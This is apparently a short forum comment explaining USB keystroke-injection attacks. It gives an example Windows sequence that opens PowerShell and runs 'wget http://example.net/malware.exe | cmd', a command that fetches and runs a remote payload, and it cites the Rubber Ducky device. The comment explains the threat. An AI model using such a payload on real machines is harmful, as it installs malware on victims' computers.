Malicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence Super+

Malicious USB dongles capable of achieving this have been demonstrated before. For example, a Windows-targetting variant injects the keyboard sequence Super+R (Sleep for 1 second) powershell.exe (Enter) (Sleep for 1 second) wget http://example.net/malware.exe | cmd (Enter) For example, a Rubber Ducky [1] can trivially be configured to accomplish this with the included tooling in under 5 minutes. [1] https://shop.hak5.org/products/usb-rubber-ducky https://shop.hak5.org/products/usb-rubber-ducky